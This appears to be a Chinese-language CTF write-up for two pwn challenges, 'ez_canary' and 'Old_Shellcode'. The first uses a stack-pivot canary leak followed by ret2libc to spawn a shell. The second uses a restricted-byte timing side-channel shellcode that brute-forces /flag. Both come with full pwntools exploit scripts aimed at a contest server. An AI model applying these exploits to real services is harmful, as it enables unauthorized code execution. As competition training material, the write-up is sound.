ez_canary
拿到附件,发现有两个二进制文件: client 和 server ,核心在 server
checksec
server 有 canary 保护
IDA
main
当 client 与 server 连接时 server 用 fork 创建子进程
pwnhandler
pwnhandler 允许修改 rbp 和 ret
gift
gift 有栈溢出
攻击思路
server 限制了连接次数为 4 次,之后会重启父进程,因此爆破 canary 行不通
于是考虑利用两次连接
第一次连接:利用栈迁移 leak 出 canary :先操纵 rbp 到 bss 段上,然后重新调用 pwnhandler 写入 canary 并再一次获得操纵 rbp 和 ret 的机会;于是将 rbp 操纵至原 rbp + 0x19 的位置并劫持返回地址到 pwnhandler 的 write 部分上即可读取 canary
第二次连接:进入 gift 打一遍 ret2libc 即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux' , 'splitw' , '-h' ] debug = 0 def conn (): if debug: return process('./client' ) else : return remote('60.205.163.215' , 18830 ) __libc_start_main_offset = 0x23f90 pop_rdi_ret = 0x401893 ret = 0x401894 __libc_start_main_got = 0x403FF0 puts_plt = 0x4011C4 system_offset = 0x52290 bin_sh_str = 0x1b45bd again_addr = 0x401436 rbp_prov0 = 0x404800 rbp_prov1 = rbp_prov0 + 0x19 pwn_handler_read_addr = 0x40156E pwn_handler_write_addr = 0x40153A pwn_handler_canary_addr = 0x40148A def setreg (io, rbp, rip ): io.sendlineafter(b'functions?\n' , b'2' ) payload = p64(rbp) + p64(rip) io.sendafter(b'canary!' , payload) def attack (): io = conn() setreg(io, rbp_prov0, pwn_handler_canary_addr) setreg(io, rbp_prov1, pwn_handler_write_addr) io.recvuntil(b'[Server]: ' ) canary = u64(io.recv(7 ).rjust(8 , b'\x00' )) log.info(f'canary = {hex (canary)} ' ) io.close() io = conn() io.sendlineafter(b"functions?\n" , b'1' ) payload = b'A' * 56 + p64(canary) + p64(rbp_prov0) + p64(pop_rdi_ret) + p64(__libc_start_main_got) + p64(puts_plt) + p64(again_addr) io.sendafter(b"canary!" , payload) io.recvuntil(b'[Server]: ' ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - __libc_start_main_offset log.info(f'libc_base = {hex (libc_base)} ' ) sleep(0.1 ) system_addr = libc_base + system_offset bin_sh_addr = libc_base + bin_sh_str payload = b'A' * 56 + p64(canary) + p64(rbp_prov0) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) io.send(payload) io.interactive() attack()
Old_Shellcode
seccomp
禁止了 execve 系统调用,考虑 orw
IDA
清空除 rdx 外的寄存器后让你写 shellcode
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import subprocessclass FlagNotFound (Exception ): def __str__ (self ): return "FlagNotFound" class ByteCodeAlreadyUsed (Exception ): def __str__ (self ): return "ByteCodeAlreadyUsed" class ByteCodeTypesOverLimited (Exception ): def __str__ (self ): return "ByteCodeTypesOverLimited" def main (): blacklist = set () flag = bytes () with open ("/flag" , "rb" ) as f: flag = f.readline() for i in range (1 ): try : user_input = bytes .fromhex(input (f"Enter your shellcode as hex({i} /2):" ).strip()) for byte in user_input: if byte in blacklist: raise ByteCodeAlreadyUsed blacklist = blacklist.union(set (user_input)) if len (blacklist) >= 16 : raise ByteCodeTypesOverLimited p = subprocess.run( ['./chal' ], capture_output=True , input =user_input, timeout=2.0 , ) if flag not in p.stdout: raise FlagNotFound except Exception as e: print ("Error:" , e) exit() print ("Well Done." ) print (p.stdout) main()
要求:两次使用的字节码不重复,总计不超过 15 种,且能读出 /flag
攻击思路
想不出来怎么构造符合条件的 shellcode ,,,那就侧信道爆破吧
当然还要考虑怎么把使用的字节码压到不超过 15 种,,,
直接写爆破的 shellcode 是困难的,因为各类寄存器操作会使用大量的字节码,,,
因此我们考虑利用少量寄存器操作向 mmap 出的区域手动写入爆破的 shellcode ,使用以下指令:
1 2 3 4 5 6 7 8 mov rsp, rdx 48 89 d4 add rsp, 0x100 48 81 c4 00 01 00 00 mov rbp, rdx 48 89 d5 add rbp, 0x100 48 81 c5 00 01 00 00 mov ebx, 0 bb 00 00 00 00 add ebx, 0x100 81 c3 00 01 00 00 mov [rbp], ebx 89 5d 00 nop 90
mmap 上布局如下:
1 2 |------------------|---------|----------------------|-----------| 读入的 shellcode nop 填充 爆破的 shellcode rsp 隔离
利用多次执行 add 操作我们可以向 mmap 出的区域写入任意数据,刚好拿来造机器码
写入爆破的 shellcode:
最后几个 nop 用于对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 mov rax, 0x67616c662f 48 b8 2f 66 6c 61 67 00 00 00 push rax 50 push rsp 54 pop rdi 5f mov eax, 2 b8 02 00 00 00 syscall 0f 05 mov rdi, 3 48 c7 c7 03 00 00 00 push rsp 54 pop rsi 5e mov rdx, 0xff 48 c7 c2 ff 00 00 00 xor rax, rax 48 31 c0 syscall 0f 05 mov al, [rsp + 0xf] 8a 44 24 0f cmp al, 0x37 3c 37 LOOP: je LOOP 74 fe nop 90 nop 90 nop 90
由于网络不稳定,,,还要多爆破几次,,,不然会发现交上去的 flag 是错的。。。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 from pwn import *context.log_level = 'info' context.arch = 'amd64' context.terminal = ['tmux' , 'splitw' , '-h' ] debug = 0 def conn (): if debug: return remote('127.0.0.1' , 1337 ) else : return remote('60.205.163.215' , 23989 ) def mov_rsp_rdx (): return '4889d4' def add_rsp_align (align ): sc = '4881c4' for i in range (4 ): if i == align: sc += '01' else : sc += '00' return sc def add_rsp_to (num ): sc = '' sit = 0 while num > 0 : lb = num % 0x100 for i in range (lb): sc += add_rsp_align(sit) num //= 0x100 sit += 1 return sc def mov_rbp_rdx (): return '4889d5' def add_rbp_align (align ): sc = '4881c5' for i in range (4 ): if i == align: sc += '01' else : sc += '00' return sc def add_rbp_to (num ): sc = '' sit = 0 while num > 0 : lb = num % 0x100 for i in range (lb): sc += add_rbp_align(sit) num //= 0x100 sit += 1 return sc def mov_ebx_0 (): return 'bb00000000' def add_ebx_align (align ): sc = '81c3' for i in range (4 ): if i == align: sc += '01' else : sc += '00' return sc def add_ebx_to (num ): sc = '' sit = 0 while num > 0 : lb = num % 0x100 for i in range (lb): sc += add_ebx_align(sit) num //= 0x100 sit += 1 return sc def mov_lrbpl_ebx (): return '895d00' def nop (): return '90' def initsc (gap ): sc = '' sc += mov_rsp_rdx() sc += add_rsp_to(0x7500 ) sc += mov_rbp_rdx() sc += add_rbp_to(gap) return sc def writesc (msc ): msc = msc.replace(' ' , '' ) sc = '' sc += mov_ebx_0() sc += add_ebx_to(u32(bytes .fromhex(msc))) sc += mov_lrbpl_ebx() sc += add_rbp_to(0x4 ) return sc def loadorj (idx, char ): sc = '' sc += writesc('48 b8 2f 66' ) sc += writesc('6c 61 67 00' ) sc += writesc('00 00 50 54' ) sc += writesc('5f b8 02 00' ) sc += writesc('00 00 0f 05' ) sc += writesc('48 c7 c7 03' ) sc += writesc('00 00 00 54' ) sc += writesc('5e 48 c7 c2' ) sc += writesc('ff 00 00 00' ) sc += writesc('48 31 c0 0f' ) sc += writesc('05 8a 44 24' ) sc += writesc(f'{idx:02x} 3c {char:02x} 74' ) sc += writesc('fe 90 90 90' ) return sc def fillnop (num ): sc = '' for i in range (num): sc += nop() return sc def scgen (idx, char, gap ): sc = '' sc += initsc(gap) + loadorj(idx, char) sc += fillnop(gap - len (sc) // 2 ) return sc def test (mbyte, char ): io = conn() io.recvuntil(b'hex(0/2):' ) sc = scgen(mbyte, char, 0x7000 ) print (f'Send: {hex (len (sc) // 2 )} bytes' ) io.sendline(sc.encode()) start_time = time.time() io.recvall(timeout = 1 ) end_time = time.time() io.close() return end_time - start_time def explode (): flag = 'flag{1t_i5_Ha2d_r1gh' idx = len (flag) while True : for char in range (32 , 127 ): try : if test(idx, char) > 0.7 : print (f'Found char at {idx} : {chr (char)} | Current Flag: {flag} ' ) flag += chr (char) if chr (char) == '}' : return flag break else : print (f'Test char failed at {idx} : {chr (char)} | Current Flag: {flag} ' ) except Exception as e: char -= 1 print (f'Error:{e} ' ) continue idx += 1 return flag def attack (): print (f"Flag: {explode()} " ) attack()